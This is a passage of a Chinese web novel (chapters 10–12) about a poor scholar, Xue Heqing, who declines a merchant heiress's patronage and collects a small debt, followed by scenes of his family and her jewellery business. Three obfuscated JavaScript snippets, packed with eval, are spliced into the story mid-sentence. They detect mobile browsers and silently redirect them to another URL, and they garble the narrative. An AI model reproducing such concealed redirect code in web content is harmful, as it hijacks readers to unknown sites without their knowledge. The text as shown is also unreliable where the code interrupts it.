“我并未觉得不好。”苏玉照笑道,“正巧我家里倒还有些桑皮洒金笺纸,颜色如雪,质地也厚,白放着没用,我拿几刀来送你吧,不为别的,只为衬得上先生的墨宝。” 薛鹤卿目光在苏玉照脸上打量片刻,回拒道:“多谢姑娘谬赞,只是无功不受禄,况且您所说的纸张实在贵重,若用来写书信,涨价得话,那些人家也用不起,可不涨价,单这纸张就比代笔费贵了,实在没有必要。” “不用来写信,你还可以自己留着用呀,或抄书或习作,都比那些毛边草纸好许多。”苏玉照道,“实不相瞒,我就是对面‘万宝楼’的主家。我观先生大才,必非池中之物,他日鱼跃龙门,还要托先生的福,庇佑小店生意呢,所以先生也不必同我客套。” 薛鹤卿立时明白了苏玉照的意思。 京中的确有不少富贵人家,钱财腰缠万贯,却苦于有财无势,便于春闱之前,专门打听着有那进京赶考的清贫举子,出资援助,结交一二,待到举子金榜题名,飞黄腾达,许多都不忘当初提携之恩,与旧故做个靠山,其中官商勾结、谋财害命者众多。如此污渠泥沼,薛鹤卿宁可潦倒清苦,摆摊写字度日,也不愿与之同流。 于是道:“神都城人才济济如过江之鲤,薛某未必就能高中,即便真个榜上有名,他日主政一方,百姓知道了他们的父母官,是个为了几刀纸笺就卑躬屈膝的小人,岂不心寒齿冷呢。” 苏玉照道:“我只是欣赏先生才学,恐怕明珠蒙尘,这才有意交个朋友,并无来日协恩图报之意,况我那店面作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371006|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得都是正经生意,哪怕你日后封侯拜相呢,我也不会找上门去,让你助着我欺行霸市的,你又何必介怀?” 薛鹤卿仍旧摇头:“姑娘虽无此心,但拿人手短,我自己骨气就先矮了一截。姑娘若有心,你我便只做君子之交即可。” 君子之交淡如水,萍水相逢会无期,意思就是以后彼此只当不相识喽。 苏玉照一大早兴冲冲来,白讨了个没意思,好在方才说话时无人在场,这会子见一旁又来了其他顾客,她又不是上赶子的人,便把书信折起,掖到袖子里:“既如此,我就不耽误先生发财了。” 薛鹤卿问道:“不用我帮你封好么?” “不用,我们家有自己的信差,不用驿馆的,他们磨磨蹭蹭,好几天才启程,太慢了。”苏玉照说着去摸自己的钱袋,却摸了个空,这才想起,早起量衣时解下来放到桌子上了,出来时忘了带。 “我没带钱,可否一会儿让伙计送来?”苏玉照问道。 薛鹤卿道:“无妨,姑娘只管去吧。” 苏玉照笑道:“我又不缺这几个钱,怎会短了你的。” 她又指着凳子上的软垫道:“你家妹妹这垫子做得精巧,绣花也可爱,我很喜欢,也卖给我如何,一会儿我让伙计把钱一并送来。” 薛鹤卿犹豫了一下,点头答应,淡笑道:“小妹手艺了了,难得入姑娘的眼,她往日送到绣坊的绢帕团扇,一个收十五文,这个垫子大些,她好歹绣了三五天,姑娘便给二十文吧,太少的话,我回去搪塞不过,怕她要哭鼻子的。” “这价格很公道。”苏玉照道。 他明码要价,显然是防着她再借由头多送钱收买他,其实大可不必,京城清贫的赶考学子数以千计,苏家往年资助的也不在少数。 只是苏家根基浅,从苏家老二苏柏川做京官,他们举家迁到神都城,“万宝楼”重新开张经营,到如今也不过十余载的功夫。 这些年,大比不过五六次,受他家资助的举人,中进士者十个里多说也只有两三个,其中又有谪放外任的,又有郁郁不得志的,现今能进到六部机要,在官场上可以说得上话的,也不过那么几家。 更不用说这里头还有忘恩负义,翻脸不认人的,得了势便眼高于顶,生怕别人提起他当年的窘状来,便与苏家草草断了联系,那些真金白银,也白填在里头。 最后能认苏家当年的人情,遇到事儿能帮得上忙的,一只手能数得过来。 不过就算是这样,也是值了。 人脉这种东西,本就是广撒网,精维系,那些雨过地皮湿的情分,不要也罢。 苏玉照看着薛鹤卿罢软垫用布裹了递过来,便伸手接了,转身回了“万宝楼”。 薛鹤卿看了一眼她离开的背影,坐回座位上,询问下一位客人要写什么字。 直到日薄西山,街上行人渐稀,料想也不会在有人来,薛鹤卿便起身,向吴伯借来盆水,把笔、砚洗净,将桌面收拾好,东西都放到背篓里,又把向吴伯借的桌凳还回去。 复出门来,看到街对面的“万宝楼”华灯璀璨,飞檐上的灯笼都亮了起来,整栋楼都泛着流光宝彩,楼门前穿戴锦绣的客人络绎不绝,甚至比白天更多,丝毫没有因为天黑影响了生意。 他这才想起来,这整整一日,那位姑娘也不曾差人送钱来。 10. 第10章 薛鹤卿停下脚步,考虑要不要上门去讨要那三十文钱。 他今天生意不错,除了早上和苏玉照闲聊的那一会儿,其他时候几乎都有客人,一共写了十来封书信,二十多副对联,还有三个斗匾,统共挣得三百多文钱,是较平日的两倍了。 但苏玉照那三十文,却仍占了他全部进项的十分之一,虽他口里说“无妨”,然则也仅仅是赊账无妨的意思,可不是指这钱不给也无妨。 若对方真赖账,他就有些肉疼了。 何况眼下已是九月,往前一天冷似一天,他家里冬事未办,赁的房子也要交租子。 三十文虽抵不得大用,也足够他们一家人好菜好肉,饱餐一顿了。 薛鹤卿想罢,还是决定去问一问,他不贪不占,但自己该得的,也不能少了。 背着竹篓来到“万宝楼”门前,一只脚刚跨进抱厦的门槛,正在殷勤招呼贵客的跑堂伙计看到他这一身打扮,有些诧异,呆愣了一瞬,方才扑棱了一下脑袋,上前抱拳笑着打招呼。 做手势把他请到一边悄声道:“不知先生有何贵干?若要买首饰,我劝您不如过些日子,等到月末再来,那时候有许多平价的折扣款,也是货真价实的,只是微微有些瑕疵,比如珍珠上有个小螺纹,簪子上有点划痕什么的,反正咱自己家里人戴,都不妨事,价格却便宜了一半不止,我自己也常给家人买。” 伙计冲里头努努嘴:“今儿晚上您还是别进去了,小的也不是拜高踩低,今儿个里头正开场子竞沽呢,卖得都是些无法复刻的稀世珍宝,擂鼓出价,一锤就是一千两,价高者得。那里面来的人啊,非富即贵,先生去了,若是不小心得罪了什么人,岂不是无妄之灾?” 跑堂伙计嘴皮子极溜,一开口就收不住,正话反话都让他说尽了,意思就是不让薛鹤清进去,只不过态度还算客气,没明着说:像你这样的穷酸,怎么敢来这纸醉金迷的地界,这里头那件首饰是你能买得起的? 好在伙计并不拿大,把自己也归为和薛鹤卿一类的穷人家。 饶是如此,薛鹤卿也被说的脸上有些发烧,他来要钱,本就有些难以启齿,现在生生让伙计那句“一锤一千两”给镇住了,说又不是,走又不是,紧攥着衣袖颇为踌躇。 伙计见他面有难色,歪头问道:“先生不似来买东西的,可是有什么事?” 薛鹤卿咬了咬牙:“劳烦小哥,你们楼里有没有一位,呃,当家的姑娘?” “嗯?”伙计站直了,拿眼上下瞟他,警惕道:“您找我们少东家?她正在里头应酬呢,不知尊驾有什么事,若是紧要,我进去通传一声。” “也没甚要紧事,我是街对面摆摊写字的,今早她让我代笔写了封家书,又买了我一个小物件,没有带零钱,说会让人送来,但是......” 伙计闻言瞬间放松下来:“我当是什么,姑娘一来管事们就进去回话,又有几个贵客要陪着,上上下下忙乱一天,连午膳也是草草扒拉了几口。您这里许是她忘了也是有的,既这么着,您说个数,我先给你结了账,你好趁着天没黑回家去,我等姑娘闲了进去回一声,也就完了。” “如此有劳了。”薛鹤卿道,“书信是十文钱,另一个物件是二十文,您给我三十文即可。” 听他的口风,不像讹人的,伙计点点头,让薛鹤卿稍等,径自去了抱厦侧面的一个小屋,不多时拿出一串钱来,看数量约摸有一百个,递到薛鹤卿面前:“让你久等,又亲自上门一趟,原该我们送过去的,这些你收着,多了的就打酒吃吧。” 薛鹤卿抬手拦了一下,没有接:“劳烦小哥儿给我数三十钱,我与你们东家说好了的。” 伙计很诧异,看了看薛鹤卿,又看了看自己手里抓着的一把钱,疑心自己听错了。 他在“万宝楼”待得久了,见惯了元宝银锭,早不把这些零碎铜钱放在眼里,这都是逢年过节,东家命人抬着笸箩,出去大街上撒钱赏人讨彩头才用的。 就连主家平时赏底下人,也都用碎银子,他刚刚回屋,好容易才从柜子里翻出这一串钱来,都不知是哪年哪月剩下的了。 他自己都觉得寒酸,唯恐回头去向少东家禀告的时候,少东家说他小气。 可这书生竟不肯要,也不知是不是读书读傻了。 见他不动,薛鹤卿双手抱拳:“有劳。” 伙计无法,只得拆开麻绳,数出三十个铜子儿交给他,手上数着,嘴里也不闲着:“你这人,真是奇了,有钱还不肯要,又不是偷来抢来的,我白送你的怕什么,何苦这么丁是丁卯是卯的,这叫我怎么跟姑娘交差呢,我们这里赏那些跟着贵人来的车夫,都下不来一吊钱的,你让我如何跟姑娘交差呢。” 薛鹤卿接过钱,放到背篓的钱袋里,向伙计道谢:“你如实跟你们东家说就是,她赏贵人的车夫,是为了从他们主人身上赚回更多的银子来,跟我这种一锤子买卖不一样的。” 伙计干笑两声:“您这话说的,倒像我们是奸商。” “说笑而已,小哥不要见怪。”薛鹤卿拿了钱,心情也不错,同伙计告辞,转身从“万宝楼”出来。 外头天已经黑下来,薛鹤卿慢慢往家走,路过肉铺时,他停下脚步,想了想,向正要收摊的肉铺掌柜买了两斤肉。 “要多肥少瘦的。”薛鹤卿在那块猪肉上比量了一下,指出自己想要的部位。 “得嘞。”肉铺掌柜笑呵呵地给他用刀剌下一片肥瘦相间的五花肉来,用秤称得高高的二斤多沉,拿油纸包好,细麻绳系成个点心包的形状。 “来,您拿好,一共十八文。”掌柜的又另包了一块豆腐大小的猪血,“临收摊了,这猪血剩了两块,送你一个吧,吃好了再来啊。” “多谢。”薛鹤卿忙伸手接了,从钱袋里数出十八个铜子儿来付了钱。 今天生意不错,买点肉给母亲和弟弟、妹妹改善改善伙食。母亲早年操劳,这几年身体不太好,弟弟、妹妹十来岁,正是长身体的时候,平时饭食难见油腥,都饿得馋猫似的。 所幸他已中了举,再熬上大半年,等明年春闱,他若能中榜,便能让家中境遇大大改观。 无论是外放做官,还是留在翰林,最起码俸禄拿到手,能让家人吃饱穿暖,托托同僚的关系,应当也能让弟弟入官塾读书。 然后再攒上几年钱,也许能在京郊买下栋小一点的宅院,就不必再租赁别人的房屋了。 那样的话,将来弟弟、妹妹说亲,也像个样子。 薛鹤卿一路走一路胡思乱想,到家时已经繁星满天了。 他因身上没多少钱,租的房子也偏僻,在神都城东南角的青龙坊,是个一进的小院,主家是个乡绅,家中有几百亩良田,人住在城外的田庄,这里是专门买下来,赁出去赚租子的,每月五百钱。旁边还有几个小院,也是人家的,如今也都住着进京赶考的书生。 薛鹤卿来到自家门前,收回思绪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371007|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又想到妹妹要是知道自己绣的垫子卖了出去,应该也会很高兴。 他抬手推了推门,发现大门从里头栓了,这是他交代的,无论自己回没回来,一到天黑,就要把门反锁。 他们初来乍到,对这里人生地不熟的,自己不在家,万一有强盗贼人,就麻烦了。 薛鹤卿叩了叩门环,里面立刻传来回音:“是大哥回来了吗?” 薛鹤卿提高声量:“是我,鸿安,开门吧。” “唉,来了。” 薛鸿安一路小跑出来,把木栓提起,打开半扇门,身高快到薛鹤卿肩膀的半大少年,额头冒着汗,手里还拎着把斧头,仰头道:“大哥今天怎么回来这么晚?” 薛鹤卿在他头上划拉了一把,迈步进去:“干嘛了,出这么多汗?鸾意和娘呢。” 薛鸿安重新把门栓好,跟上来道:“娘在厨房烙饼呢,鸾意在帮忙烧火,我刚劈柴呢。” 他指了指墙角的一小摞码得整整齐齐的木头。 “哪儿来的柴火?”薛鹤卿问道。 薛鸿安拍拍胸脯,得意道:“我跟附近邻居们打听的,城外女儿峰上能砍柴,没人管的,我便跟着一起去了,果然随便砍,许多人打了柴进城卖呢。” 他凑到薛鹤卿身边,商量道:“赶明儿我编个大筐,多砍些好柴,也背去卖,他们说一担柴能卖三四十文呢。” 薛鹤卿停下脚步,回手在他头上敲了个暴栗:“你做什么梦呢,光听见人家赚钱,你怎么不打听打听,那一担柴有多重?” 薛鸿安眨眨眼:“能有多重,我劲儿大着呢。” 薛鹤卿轻笑:“少说也有一百多斤,你这小身板,挑都挑不起来。别整天想那有的没的了,有今儿你打的这些柴,也够用些天,等没有了我去买上几担,让人家送来,也就够过冬了。” 薛鸿安撅起嘴嘟哝道:“我想卖柴挣钱呢,哥哥反倒要买柴花钱。” 薛鹤卿一面吧背篓放到屋门口,把里面的东西一一拿出来,一面道:“这点小钱,该花就得花,若一味节省,等入了冬,天寒地冻的,再把人熬病了,岂是闹着玩的。你也不要再去女儿峰砍柴了,山上虽无猛兽,毒虫毒蛇也不少,咬一口小命休矣,砍多少柴禾也换不回来,听到没有?” 薛鸿安把手中的斧头丢到一边,拍拍手,不情愿道:“哎呀知道了知道了,哥哥总是说教,人家那么多人都去,也没见谁有事,偏我娇贵不成?我又不是吃不得苦,整日在家闲着也是闲着,家里家外全靠大哥你一个,我这不是心疼你么,妹妹还能绣个荷包、扇袋的挣点钱呢,只有我是个吃白食没用的。” “你别东拉西扯,谁许你在家闲着了,我且问你,我早起出门时给你留的功课,写了没有?”薛鹤卿问道。 薛鸿安一听这个,背着手,倒退着往后挪步,眼见就要溜,被薛鹤卿一把揪住耳朵:“你别告诉我,你一个字儿都没动。” 薛鸿安“嗷嗷”叫着讨饶:“哎呦,疼疼疼疼……大哥你松手,我砍柴了,我砍柴了!也算将功补过了吧?” “你不跟我说,私自出城上山,还有功了?”薛鹤卿气道,“打明儿起,不许出门,好好在家做功课,鸾意比你小,会默的文章都比你多了,你也不知道羞。” “我的娘嘞,她就比我小半个时辰。”薛鸿安口中叫屈,趁薛鹤卿不防,一拧身泥鳅似的滑脱,撒脚就往厨房跑去,边跑边抱着脑袋大喊,“娘亲救命,大哥要打我。” 11. 第11章 “大哥回来啦。”一个十来岁的小姑娘端着一摞饼从厨房出来,迎面碰上薛鸿安,一侧身躲开,笑吟吟道,“薛鸿安,你又胡闹,大哥让你用功读书,是为你好,你还大呼小叫的。快回来,洗手吃饭了。” “喂,喂,叫二哥!没大没小。” 薛鸿安经过她身边,吸溜了一下鼻子:“是什么这么香。” 薛鸾意:“小葱芝麻烧饼。” “快给我撕一块儿尝尝。”薛鸿安被香气勾出馋虫,伸手要拿,被薛鸾意“啪”一下打在手背上。 “把爪子洗干净再来。” “哦......” 薛鸿安只好拿盆出去井边打水。 薛鸾意把饼端进堂屋,放到桌子上,复又掀帘出来,对门口的薛鹤卿道:“大哥进去坐吧,先歇一会儿,阿娘说还要炒个菜,我去看着火。” “我去吧,”薛鹤卿把那个老婆婆给的糟鱼坛子搬出来,递给薛鸾意,“有客人送了点吃食,你去拿个碟子盛了吧。” “呦,谁这么好心。”薛鸾意笑着接过。 又见薛鹤卿手里拿着两个纸包,因问:“这是什么,点心吗?” 薛鹤卿摇头:“买了点肉,摊主还送了块儿猪血,一会我拿去厨房做了,你喜欢吃酱烧的还是清炒的?” “今晚有肉吃?太好了。”薛鸾意眼睛亮起来,“大哥你快去,娘亲正摘蕹菜呢,那个和肉炒最好吃了。” 薛鹤卿点头答应,提着肉往厨房走,听到薛鸾意在身后小声说:“有好心人送鱼,大哥又买了肉,今天真是个好日子。” 薛鹤卿勾唇轻笑了一下,回头道:“这就算好日子了?等明年哥哥中了进士,咱们家天天都有肉吃。” 薛鸾意不好意思地吐了吐舌头:“大哥少打趣人,我又不像薛鸿安那家伙,活似饿死鬼托生的,见到吃的就挪不动步。还有啊,你们整日说明年春闱的事,好像明年考完试,咱们家就改天换日了一样,你也说,娘也说,可我觉得这样大哥你的压力太大了,不是我对大哥没信心,只是万一......” 薛鹤卿道:“万一不中,也没什么要紧,大不了咱们从头再来,我再回乡做上三年教书先生,也养活得了你们,不用担心。” 虽如此说,薛鹤卿对自己的才学还是颇为自负的,他父亲虽早逝,生前却酷爱藏书。 他三岁启蒙,天资聪颖,过目不忘,由父亲亲自教导了几年,后来又博览群书,把家中藏书读了个遍。 先前在院试、乡试中,虽未得头名,但都名列前茅,这次会试,不求能中状元榜眼,取第进士总没什么问题的。 薛鹤卿来至厨房,薛母正坐在灶前,借着灶膛的火光摘菜,见他进来手上也不停,只略抬了抬头,温声道:“回来啦?” “嗯,阿娘,我来吧。” 薛鹤卿走过去,屈膝蹲下,把肉放到灶台上,接过笸箩,把摘好的蕹菜用水洗了,切段放到一边,又另换了一副案板和菜刀,把肉拿过来切片。 薛母则往灶里添了两根木柴,两人边忙边说些闲话。 “今日生意挺好,我挣了三百多钱,明日阿娘带他俩去集市逛逛,买两匹布料,每人做件冬衣,往前天冷了,被褥、木炭之类的也该预备预备。”薛鹤卿道。 薛母见他先把白肉端了过来,知道他想先煎猪油,便把木柴往外抽了抽,起身接过铲子:“这个要小火慢慢煎才好,你控制不好火候,别炼焦了。” 薛母先把锅里烧的开水灌到壶里,又在锅底抹了点底油,待锅烧热了,才把肉倒进去慢慢翻炒,一股浓香瞬间在小厨房里炸开。 “是该预备冬事了,北方这天气,你们不记得,我是知道的,往往今儿还暖和得很,明儿就冷得要穿棉衣了。”薛母道,“这些琐事我自有主张,你不用操心,一会用过饭只管温你的书去。现在天还不甚冷,倒还无妨,等过些时落了雪,索性你也不要出去摆摊了,安心在家读书。家计费用你不用担心,我也攒了些体己,又从绣坊里领了活计回来做,和你妹妹做针线,每日也能挣点家用,撑上几个月不成问题。等明年你考完试,咱们再做打算。” 薛鹤卿心头有点酸:“辛苦阿娘和妹妹了,等过了这阵子……” “这有什么的,谁家女子不做针线,以前你父亲在的时候,咱们家是什么光景,就是那时,我们娘们几个,晚上也要做活到二更呢。”薛母不在意道。 薛鹤卿闻言低头不语,只捡了根木柴添到灶膛里。 父亲在时,他也不过八九岁,小时候许多事情他都不记得了,只记得那时自己家就是在这神都城的,也是深宅大院,父亲还是朝堂大官,而他则还是是众星捧月的小公子。 九岁那年冬天,父亲不知怎么落了罪,先是被押入大牢,后来被判了流放,不幸死在了流放的路上,家里也被抄了。 那时母亲正身怀六甲,他又年幼,依律得以赦免,他随母亲连夜逃出京城,至今犹记得一路都有人追杀。 母亲一直说,父亲是被冤枉的,他主张改革,动了某些人的利益,便被人网罗罪名,构陷其结党营私,与他一同推动改革的官员也都落了罪。。 薛鹤卿父亲原姓周,月字辈,名唤周士明。为了保命,母亲带他躲到乡下后,让他改随了母姓,后来弟弟、妹妹出生后,也就顺势跟着姓了薛。 薛鹤卿记得,父亲还有个幼妹,当年只有十七八岁,刚相准了婆家,犹未出嫁。因祖父祖母已过世,那位小姑姑便与哥嫂住在一起,平时也会帮着嫂嫂照看他,与薛鹤卿十分亲厚。 周家抄家后,已经下了聘的男家怕被连累,为了撇清关系,火速退婚,小姑姑被没入教坊司,至今音讯全无,也不知怎么样了。 薛母带着孩子安顿好后,也曾几番托人来京中打探消息,各处秦楼楚馆,烟花柳巷都问遍了,只是没这么个人。 薛鹤卿猜测,要么是楼中老鸨给改了花名儿,要么就是小姑姑被人买了去。 这次他们进京,除了参加明年春闱之外,还希望再想想法子,找到小姑姑,不管被卖到了哪里,总要把人赎回来,一家子团聚才好。 薛母见他闷着头不语,也沉默了片刻,脸上升起些愧色,叹气道:“月盈多好个姑娘,白让咱们家给连累了,这些年还不知被磋磨到什么田地,我每每想起来就心如锥刺。可恨那赵家,什么破落户,先时还巴巴的上赶子来咱们家提亲,伏小做低地献殷勤,你哥哥答应这门婚事,还是为了月盈嫁过去能当家做主,不被欺负。结果呢,咱们家刚一出事,他赵家跑得比兔子还快,真真无耻小人。” 薛鹤卿苦笑道:“娘,你小声些吧,我打听着赵家,现如今攀上了内阁首辅郑玄镛,赵公子官任吏部员外郎,早已不可同日而语了,这次会试人家还是主考官之一,我还得多加小心,谨防他把我认出来呢。” 薛母气得把一盆菜全倒进锅里,抄起铲子“哐哐”地炒:“真是老天无眼,什么跳梁小丑,也登上大台盘了。” 她端详儿子的脸,又道:“不过也不用太担心,你模样多像我些,脸小,眉眼又清秀,跟你那坑煞人的爹长得可不一样,谅他也认不出来。” “嗯。”薛鹤卿应了一声,又闷闷道,“这几天我亲自去了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371008|199901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家青楼,都没问到小姑姑的音讯。” “这也急不得,咱们现在就是平民百姓,那些人都是狗眼看人低的,岂会理你呢。等你中了进士,选进翰林,到那时再去问,即便他们不知道,也会主动帮你打听的。”薛母盛出菜,立在灶边,叹息道,“总不过是再等半年,月盈前半辈子吃足了苦,菩萨保佑,她以后一定福泽深厚,长命百岁。” 薛鹤卿也知道干着急没有用,起身端起菜盘:“知道了,娘,咱们先吃饭吧。” 堂屋中,薛鸿安已经打了水回来,听说有肉吃,拿了张烧饼,一边大嚼一边眼巴巴等着。 四人围坐桌前,虽然只有两道菜和一小碟儿盐水,但因为有荤腥,几人吃的格外满足。 用过饭后,薛母和鸾意在灯下绣花,薛鸿安被薛鹤卿摁头坐到桌前强治着做功课。 薛鹤卿自己也拿了本父亲当年亲笔写的策论,温习翻看。 窗外透出暖黄的烛火,窗纸上映出几人的剪影,倒也温馨如画。 此时刚入更,金台坊的“万宝楼”,正到了最热闹的时候。一件件奇珍异宝,由最顶尖的工匠师傅做成炫彩夺目的首饰,摆到高台上,每一件都价值连城。 竞沽的买客为了彰显身份财力,全都杀红了眼,堂中出价的小鼓声不绝于耳。 大厅高台后有一间倒座,苏玉照坐在幕后,操控着首饰展出的进程,她见好就收,吩咐最后上一件点翠九凤衔珠冠,今日就到此为止。 竞沽每月一次,每次只卖十件首饰。再想要的,就请下个月提早递帖子。 金环在一旁道:“客人们正在兴头上,咱们又不是没有货了,何不趁机多卖一些。” “我说你是小财迷。”苏玉照笑道,“咱们家贵重的首饰头面,为什么能让那些夫人小姐们趋之若鹜,还不是因为它稀缺,能彰显她们的身份地位么?若人人随便都能买得到,她们不就没得显摆了,那就卖不上价了,傻丫头。” “可咱们楼里还卖普通的簪环发钗啊,那些又不限数量,也没那么贵重,寻常百姓攒一攒钱也能买得起,贵人们有的,坊间女孩儿们也有,这还怎么彰显身份呢?”金环疑惑道。 苏玉照拍手道:“好问题,不枉我往日教导你。我跟你讲,关键就在这个“普通”二字和“攒一攒”上。你想,寻常人家攒上一年半载,才能买一件样式普通、材质也普通的小花钗或者戒指、项圈之类的,跟那些贵人们的华冠丽服一比,何其寒酸,怎么不算彰显了贵人的体面呢?而在普通人堆儿里,他们说出去也是买的‘万宝楼’的首饰,把上面的‘卐’字纹一亮,邻居百家只有艳羡得份,他们脸上也有光,这就是咱们招牌的好处了。” 金环恍然大悟:“哦,我明白了,这叫做两头通吃。” “哎,对喽!”苏玉照道,“咱们做生意的......” 苏玉照来了瘾,刚要给金环好好讲一讲商道,就见银屏走进来,回道:“姑娘,前头完事了,大掌柜在送客,命几个管事的进来报账,另有一个跑堂的伙计,说有事要面回姑娘,也在外头候着了。” 苏玉照挑眉:“跑堂伙计来做什么,别是得罪了哪位贵人,你且叫他进来,让掌事们略等一等。” 银屏答应着去了,不多时领进个十几岁的小厮进来。 那小厮机灵得紧,进来先请了安,方回道:“回少东家,也没什么大事,原不该来叨扰姑娘。只是您往常就厚待读书人,今儿有个年轻书生来要钱,小的少不得来回一声,好叫姑娘知道。” “嗯?”苏玉照疑惑片刻,一拍脑门,“哎呦,怎么把他忘了。” 12. 第12章 “他人呢?”苏玉照问道。 心里又纳罕,那个薛鹤卿,表面看起来安贫乐道,原来也是个锱铢必较的,不过是几十文钱,也值当的要上门来,不是自持读书人的气节么,看来也不过如此。 小厮见她上心,忙回道:“人已经走了,他天擦黑的时候来的,我那会子在大堂招呼客人,迎头见他进来,瞧着身上穿戴俭朴,我便把他拦下,说了几句话,他就开口要钱,说给您代笔书信,还卖您一个物件,一共三十文钱。我想着您里头忙,顾不上这点小事,于是自作主张给他结了账。” “嗯。”苏玉照点点头,又问,“咱们家按例是有赏钱的,你给他结了多少?” 小厮手一摊:“我何尝不曾给他赏钱,可他不肯要啊,到底让我数了三十文出来给他,他便走了。我想着事情虽小,还是来回姑娘一声。” 苏玉照若有所思,半晌方道:“我知道了,你去吧,到账房报销就行。” 小厮笑了笑:“这点小钱,小的还孝敬的起,哪里值得再去惊动二掌柜的人。” 苏玉照点点头也不在意,见他走到门口,又开口叫住他:“等等,回来,你叫什么?” 小厮回身走近两步,躬身道:“回姑娘,小的叫吴大才,我娘说了,不求我有什么大作为,只要有点小聪明,一辈子吃穿不愁,就是造化了。” 苏玉照一听乐了:“吴大才......你这名字挺好,姓氏也好。这样,一会儿你去账房支二十两银子,这钱呢先放在你那儿。今日来的那个书生,在街对面摆字摊,他与我有些交情,你帮我盯着点儿,若他遇到什么麻烦,我又不在,你就出手帮一帮,等到明年春闱后,那十两银子就赏你了。” “唉,您放心。”吴大才拍着胸脯保证道,“有我在,保证整条街没人敢找那位郎君的麻烦。” “行了,少吹牛皮,快去吧。”银屏笑着推了他一把。 吴大才乐呵呵出去了,各管事的依序进来报账,哪项首饰卖了多少件,净重多少,镶嵌了什么珠宝,卖价几何,都记在一张张洒金笺纸上。 管事的把条子呈上来,给苏玉照过了目,再有账房按条目记到账册上,纸笺则附在账册后面,再由金环、银屏二人核对过一遍方罢。 待账目对完,管事们都退下,银屏端来茶点:“姑娘先吃些垫垫肚子,我已命人回府上跟夫人,说姑娘在楼里用晚膳,方才叫小厮去贵禧楼订了两桌席面,估计过会子再送来。” “你安排的很好。”苏玉照满意道,“今儿大伙都辛苦,等席面来了,挑几样咱们爱吃的留下,剩下的给伙计们带回去,也让他们家里人打打牙祭。” 她拿起块儿茯苓糕咬了一小口,问金环道:“前儿我让你查入京参加明年会试的生员情况,查得如何了?” “我正要回姑娘呢。按姑娘的吩咐,我命人到青龙坊和蟾桂坊走了一遍,这两坊是外地生员聚居之地,其中各府解员和才华佼佼者,都留了名录和住址,家境情况也了解了一番,这是册子,请姑娘过目。”金环从袖中取出一个小札,递给苏玉照。 苏玉照细细翻看一遍,果然从中瞧见了薛鹤卿的名字。 她用笔圈出几个名字,又把小札交还给金环:“各府解员自然有不少人已经先下手笼络了,咱们没必要赶着去烧热灶,我画出来这几个,都是府试排名较为靠前,年纪又轻家境又贫寒的,少年心气知恩图报,你一会拿我的对牌,去账上支一千两银子,到钱庄兑成现银,按人数分好份,压上我的请帖,给他们送去。” “是。”金环答应着接过,看到册子正翻到薛鹤卿那一页,但他的名字却没被圈出来,不由问道,“姑娘,这个薛郎君很符合您选人的标准,咱们不资助他吗?” 苏玉照摆摆手:“这人拧得很,不必理他。” 待用过晚膳,已经亥时三刻,深夜不便骑马,苏玉照便与金环、银屏一道坐马车回苏府。 到家时崔氏已经睡下了,苏玉照叮嘱不要惊动,带着人悄悄绕过前院儿,回到自己住的金玉堂。 刚进院子,就见福宁在廊下焦急地打转。 “福宁姐姐,你不在母亲跟前服侍,怎么往后头来了,可是有什么事?”苏玉照快步走过去问道。 福宁道:“太太那边有长喜和吉祥呢,姑娘不用担心。我来是有事回姑娘。” 苏玉照颔首:“姐姐进来说话。” 宝珠这时掀帘出来,扶过苏玉照的手臂:“我让她进屋等,她偏在外头打磨子。金环、银屏,你们歇着去吧,姑娘这里有我呢。” 金环、银屏告退下去,苏玉照同宝珠、福宁进了屋。 翠钿端来玫瑰酥酪,苏玉照请福宁坐下,边吃边说。 自己则坐到一旁的妆台前,让宝珠给她把头面拆了:“快给我把头发散了松快松快,忙了这一天,脖子都要酸了。” 宝珠小心地把一件件首饰卸下,放到妆奁里,又拿来檀木梳子,蘸了花露给她通头。 那厢福宁坐到小杌子上,也没心情吃酥酪,急急道:“姑娘昨儿夜里吃醉了酒不知道,二太太昨晚同咱们太太一块回来,两人叽叽咕咕不知说了些什么,我留心看着,太太进里屋动了钱匣子,好像取了什么东西给二太太拿走了。我怕太太被诓骗了,等她睡下,便用姑娘给的备用钥匙打开钱匣子查看,果然,少了几张地契,少说也值五千两银子。早起人多口杂,我也不便回姑娘,所以拖到这会子。” “你说多少。”苏玉照蹙起眉,“五千两?!” 福宁重重点头:“是。我数了好几遍,绝不会错。” 苏玉照“噌”地站起来,气得叉腰:“母亲好糊涂,我在楼里明察暗访,费了多少心力,找出内鬼,也才追回来五百两的贼赃。二婶婶一伸手,她就轻飘飘给出去五千两,整整十倍。而且还神神秘秘得瞒着我,肯定是二婶婶调唆的,我这就找她对峙去。” 说着气鼓鼓就往外走。 